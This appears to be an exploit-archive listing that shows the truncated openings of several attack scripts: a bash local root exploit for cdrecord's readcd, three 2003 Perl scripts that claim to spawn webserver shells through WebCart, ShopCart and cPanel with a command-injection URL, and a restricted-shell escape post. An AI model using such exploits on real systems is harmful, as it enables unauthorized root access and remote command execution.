CDRecord's ReadCD - Local Privilege Escalation

!/bin/bash echo "readcd-exp.sh -- ReadCD local exploit Test on cdrecord-2.01-0.a27.2mdk" echo "Author : newbug at chroot.org" echo "Date :09.13.2004" echo "IRC : irc.chroot.org discuss" export READCD=/usr/bin/readcd cd /tmp cat s.c include include int main setuid0;setgid0; chown"/tmp/ss", 0, 0;...

WebCart.pl

WebCart exploit Spawn bash style Shell with webserver uid Spabam 2003 PRIV8 code hackarena irc.brasnet.org This Script is currently under development use strict; use IO::Socket; my $host; my $port; my $command; my $url; my @results; my $probe; my @U; my $shit; $U1 =...

ShopCart.pl

Shopcart exploit Spawn bash style Shell with webserver uid Spabam 2003 PRIV8 code hackarena irc.brasnet.org This Script is currently under development use strict; use IO::Socket; my $host; my $port; my $command; my $url; my @results; my $probe; my @U; my $shit; $U1 = "/cgi-local/shop.pl/page=;";...

cpanel.pl

cpanel-plus.pl exploit Spawn bash style Shell on Apache CPANEL Spabam 2003 PRIV8 code hackarena irc.brasnet.org This Script is currently under development use strict; use IO::Socket; my $host; my $port; my $command; my $url; my @results; my $probe; my @U; my $shit; $U1 =...

Restricted Shells

I have recently realized a security issue in some of the restricted shells on NIX systems. I am not sure if I am the first one to discover the problem I am going to discuss but I am sure that it has not been posted yet, atleast not that I know of. Basically this is the issue: Affected Systems:...